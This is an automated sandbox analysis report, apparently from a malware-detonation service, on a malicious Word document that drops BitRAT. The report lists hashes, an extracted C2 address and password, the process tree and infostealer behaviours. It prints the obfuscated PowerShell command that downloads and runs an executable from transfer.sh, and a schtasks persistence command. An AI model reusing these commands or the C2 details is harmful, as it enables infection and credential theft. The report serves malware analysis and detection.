Analysis
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max time kernel
81s -
max time network
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platform
windows10-2004_x64 -
resource
win10v2004-20230831-en -
resource tags
arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system -
submitted
14-09-2023 15:14
Behavioral task
behavioral1
Sample
Documento_Orslgroup_S.R.L_09_2023.doc
Resource
win7-20230831-en
General
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Target
Documento_Orslgroup_S.R.L_09_2023.doc
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Size
191KB
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MD5
68297123bc1ddbbd9336aa121a9dd534
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SHA1
2d8016319edb893e0ae600ba8c89f00a30466967
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SHA256
17cfb90deb531e2068d99e671423d8d1bcf8f06a0e2666f0108ca8e8b706dd1b
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SHA512
29e3e9e7e8a1b5c9fd54d97379e7f73cc2ee8174b950d7bf1b44f6f129893d6dec64c8ddb63f071184ea93bc88f1e5b7d0e1f99304c4af54f42af9042f6d092b
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SSDEEP
3072:SbiyWTxSoVHpNY6nemhInf/va46YP6z+dzL:miyWTwoVHp6m0/yl6H9L
Malware Config
Extracted
bitrat
1.38
185.225.75.68:3569
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communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
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tor_process
tor
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4736 4308 cmd.exe 43 -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid Process 35 4708 powershell.exe -
Downloads MZ/PE file
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ACProtect 1.3x - 1.4x DLL software 2 IoCs
Detects file using ACProtect software.
Processes:
resource yara_rule behavioral2/files/0x000600000002321e-164.dat acprotect behavioral2/files/0x000600000002321e-163.dat acprotect -
Executes dropped EXE 6 IoCs
Processes:
dx5ys.exedx5ys.exedx5ys.exe4MEeTwZ9.exe4MEeTwZ9.exepint.exepid Process 3620 dx5ys.exe 2100 dx5ys.exe 2060 dx5ys.exe 3788 4MEeTwZ9.exe 4184 4MEeTwZ9.exe 4188 pint.exe -
Loads dropped DLL 1 IoCs
Processes:
4MEeTwZ9.exepid Process 4184 4MEeTwZ9.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Processes:
resource yara_rule behavioral2/memory/3788-125-0x0000000000400000-0x00000000008DC000-memory.dmp upx behavioral2/memory/3788-129-0x0000000000400000-0x00000000008DC000-memory.dmp upx behavioral2/memory/3788-130-0x0000000000400000-0x00000000008DC000-memory.dmp upx behavioral2/memory/3788-131-0x0000000000400000-0x00000000008DC000-memory.dmp upx behavioral2/memory/3788-207-0x0000000000400000-0x00000000008DC000-memory.dmp upx -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
4MEeTwZ9.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts 4MEeTwZ9.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
dx5ys.exepid Process 2100 dx5ys.exe 2100 dx5ys.exe 2100 dx5ys.exe 2100 dx5ys.exe 2100 dx5ys.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
dx5ys.exedx5ys.exe4MEeTwZ9.exedescription pid Process procid_target PID 3620 set thread context of 2100 3620 dx5ys.exe 101 PID 2100 set thread context of 3788 2100 dx5ys.exe 111 PID 3788 set thread context of 4184 3788 4MEeTwZ9.exe 112 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid Process 4308 WINWORD.EXE 4308 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exe4MEeTwZ9.exepid Process 4708 powershell.exe 4708 powershell.exe 4184 4MEeTwZ9.exe 4184 4MEeTwZ9.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exedx5ys.exe4MEeTwZ9.exedescription pid Process Token: SeDebugPrivilege 4708 powershell.exe Token: SeShutdownPrivilege 2100 dx5ys.exe Token: SeDebugPrivilege 4184 4MEeTwZ9.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
Processes:
WINWORD.EXEdx5ys.exepid Process 4308 WINWORD.EXE 4308 WINWORD.EXE 4308 WINWORD.EXE 4308 WINWORD.EXE 4308 WINWORD.EXE 4308 WINWORD.EXE 4308 WINWORD.EXE 2100 dx5ys.exe 2100 dx5ys.exe -
Suspicious use of WriteProcessMemory 49 IoCs
Processes:
WINWORD.EXEcmd.exepowershell.exedx5ys.execmd.exedx5ys.exe4MEeTwZ9.exedescription pid Process procid_target PID 4308 wrote to memory of 4736 4308 WINWORD.EXE 87 PID 4308 wrote to memory of 4736 4308 WINWORD.EXE 87 PID 4736 wrote to memory of 4708 4736 cmd.exe 89 PID 4736 wrote to memory of 4708 4736 cmd.exe 89 PID 4708 wrote to memory of 3620 4708 powershell.exe 100 PID 4708 wrote to memory of 3620 4708 powershell.exe 100 PID 4708 wrote to memory of 3620 4708 powershell.exe 100 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 2100 3620 dx5ys.exe 101 PID 3620 wrote to memory of 3924 3620 dx5ys.exe 102 PID 3620 wrote to memory of 3924 3620 dx5ys.exe 102 PID 3620 wrote to memory of 3924 3620 dx5ys.exe 102 PID 3620 wrote to memory of 2572 3620 dx5ys.exe 107 PID 3620 wrote to memory of 2572 3620 dx5ys.exe 107 PID 3620 wrote to memory of 2572 3620 dx5ys.exe 107 PID 3620 wrote to memory of 4580 3620 dx5ys.exe 103 PID 3620 wrote to memory of 4580 3620 dx5ys.exe 103 PID 3620 wrote to memory of 4580 3620 dx5ys.exe 103 PID 2572 wrote to memory of 4540 2572 cmd.exe 108 PID 2572 wrote to memory of 4540 2572 cmd.exe 108 PID 2572 wrote to memory of 4540 2572 cmd.exe 108 PID 2100 wrote to memory of 2060 2100 dx5ys.exe 110 PID 2100 wrote to memory of 2060 2100 dx5ys.exe 110 PID 2100 wrote to memory of 2060 2100 dx5ys.exe 110 PID 2100 wrote to memory of 3788 2100 dx5ys.exe 111 PID 2100 wrote to memory of 3788 2100 dx5ys.exe 111 PID 2100 wrote to memory of 3788 2100 dx5ys.exe 111 PID 2100 wrote to memory of 3788 2100 dx5ys.exe 111 PID 2100 wrote to memory of 3788 2100 dx5ys.exe 111 PID 2100 wrote to memory of 3788 2100 dx5ys.exe 111 PID 2100 wrote to memory of 3788 2100 dx5ys.exe 111 PID 2100 wrote to memory of 3788 2100 dx5ys.exe 111 PID 3788 wrote to memory of 4184 3788 4MEeTwZ9.exe 112 PID 3788 wrote to memory of 4184 3788 4MEeTwZ9.exe 112 PID 3788 wrote to memory of 4184 3788 4MEeTwZ9.exe 112 PID 3788 wrote to memory of 4184 3788 4MEeTwZ9.exe 112 PID 3788 wrote to memory of 4184 3788 4MEeTwZ9.exe 112 PID 3788 wrote to memory of 4184 3788 4MEeTwZ9.exe 112 PID 3788 wrote to memory of 4184 3788 4MEeTwZ9.exe 112 PID 3788 wrote to memory of 4184 3788 4MEeTwZ9.exe 112
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Documento_Orslgroup_S.R.L_09_2023.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4308 -
C:\Windows\SYSTEM32\cmd.execmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\dx5ys.exe;C:\Users\Public\dx5ys.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\dx5ys.exe;C:\Users\Public\dx5ys.exe3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Users\Public\dx5ys.exe"C:\Users\Public\dx5ys.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Users\Public\dx5ys.exe"C:\Users\Public\dx5ys.exe"5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2100 -
C:\Users\Public\dx5ys.exe-a "C:\Users\Admin\AppData\Local\f9be9104\plg\10cX7cNN.json"6⤵
- Executes dropped EXE
PID:2060
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C:\Users\Admin\AppData\Local\Temp\4MEeTwZ9.exe-a "C:\Users\Admin\AppData\Local\f9be9104\plg\10cX7cNN.json"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3788 -
C:\Users\Admin\AppData\Local\Temp\4MEeTwZ9.exe-a "C:\Users\Admin\AppData\Local\Temp\unk.xml"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Accesses Microsoft Outlook accounts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4184
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C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"5⤵PID:3924
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C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Public\dx5ys.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"5⤵PID:4580
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f5⤵
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f6⤵
- Creates scheduled task(s)
PID:4540
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C:\Users\Admin\AppData\Roaming\pint\pint.exeC:\Users\Admin\AppData\Roaming\pint\pint.exe1⤵
- Executes dropped EXE
PID:4188
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
402B
MD5ca42e05f9d53c7ec9383307c1ea282bb
SHA1ed0efa1b59b461dcda08121a39411bee72f6b4cb
SHA25663a7295e66183379580db16d0d191bb261ccc9edb982980051291c8bdf6c4ade
SHA5124a1e3655a93f5e29ac7191eb3249b5b5a61b90353e78cc0bae4e81008aaff43bd9db4c2fde0c5ffcdae5e7eb87dfccffd4a1f383c78f5d40d52cbc4d61890196
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Filesize
402B
MD5ca42e05f9d53c7ec9383307c1ea282bb
SHA1ed0efa1b59b461dcda08121a39411bee72f6b4cb
SHA25663a7295e66183379580db16d0d191bb261ccc9edb982980051291c8bdf6c4ade
SHA5124a1e3655a93f5e29ac7191eb3249b5b5a61b90353e78cc0bae4e81008aaff43bd9db4c2fde0c5ffcdae5e7eb87dfccffd4a1f383c78f5d40d52cbc4d61890196
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Filesize
402B
MD5ca42e05f9d53c7ec9383307c1ea282bb
SHA1ed0efa1b59b461dcda08121a39411bee72f6b4cb
SHA25663a7295e66183379580db16d0d191bb261ccc9edb982980051291c8bdf6c4ade
SHA5124a1e3655a93f5e29ac7191eb3249b5b5a61b90353e78cc0bae4e81008aaff43bd9db4c2fde0c5ffcdae5e7eb87dfccffd4a1f383c78f5d40d52cbc4d61890196
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Filesize
104B
MD54f3bde9212e17ef18226866d6ac739b6
SHA1732733bec8314beb81437e60876ffa75e72ae6cd
SHA256212173a405c78d70f90e8ec0699a60ed2f4a9f3a8070de62eabd666c268fb174
SHA51210b7cdae0b9a7b0f8e1bfc66a60675fa9b25c523864d5ae3da243f4e6e4c5194f3bd92af57ac956157442f66414bdd3393d0a1e5ba4ef0f192561e8524d4e744
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Filesize
104B
MD5bf5da170f7c9a8eae88d1cb1a191ff80
SHA1dd1b991a1b03587a5d1edc94e919a2070e325610
SHA256e5d5110feb21939d82d962981aeaaafc4643b40a9b87cbed800ace82135d57cd
SHA5129e32247d8556fd6efffbf7b6b9c325652d8c4b223b0fa38020879171476a49ab1f64d8897b5d8d92b79c5484fd9d5899be26ca5f664ee1f9c2acb0857084121e
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Filesize
793KB
MD586114faba7e1ec4a667d2bcb2e23f024
SHA1670df6e1ba1dc6bece046e8b2e573dd36748245e
SHA256568da887725ccfdc4c5aae3ff66792fe60eca4e0818338f6a8434be66a6fe46d
SHA512d26ee0da6ccd4022982cf848c46e40f6781b667e39d0c5daf5ea8d74c44e55c55a5f7590a4d2a60aa1911358ca783c4276a9b4e6311c4cea20df1ebd4f7f457f
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Filesize
793KB
MD586114faba7e1ec4a667d2bcb2e23f024
SHA1670df6e1ba1dc6bece046e8b2e573dd36748245e
SHA256568da887725ccfdc4c5aae3ff66792fe60eca4e0818338f6a8434be66a6fe46d
SHA512d26ee0da6ccd4022982cf848c46e40f6781b667e39d0c5daf5ea8d74c44e55c55a5f7590a4d2a60aa1911358ca783c4276a9b4e6311c4cea20df1ebd4f7f457f
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1KB
MD5ce3e2f5f04eff81b3b7130a90a8e3a6e
SHA1fe9ac39d1db0a28aeef54741003d3f639125dc1c
SHA256b45d1dda071c8ee6b1078e8f71661ee1511887daf491a9f81415232a3c3bd631
SHA5128cd831f9231cc30eeed546b47401459a2737d160faf0eacc823d286de22f79d68a95b994dce1f1eb6e7fa96e24aadeac50659115afe74148a33e6d31012ed357
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Filesize
1.5MB
MD5b686a98e9d9dec018abeea54173ad87d
SHA16ee62dd8343388a0f9c4671e03aa24f535fc120f
SHA256bf76c931a37b46af19a24f74007a7089054ffb7780a29beb82abcfe5f272487a
SHA51245d84ef8a0b050e798b54d7fba17adb3572afeeb88e0e9aba4e2988ef132a64a0216b0150e878985e3d19fdaf5d35e4497d209d02d1c2336f86a416aa525a6b4
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Filesize
1.2MB
MD53a8e0e4a24c4ac685af398c64fb06f9f
SHA1c889eb9cce50a4f6b6e0d21d9ddfb569b1b56331
SHA256d17af13ec0cddf7d3f4c90158c1909c8d5b5631d9e11e78a33148262a2fbaeef
SHA512501b847c56eb425dfe7cbe2237c55d46ba1253481a1897777bae4fcb3c41a001b01d8cce96bd0843a7c16c7a99983a2d9da4d74867892777f93b479319d230ff
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Filesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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Filesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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Filesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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Filesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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Filesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894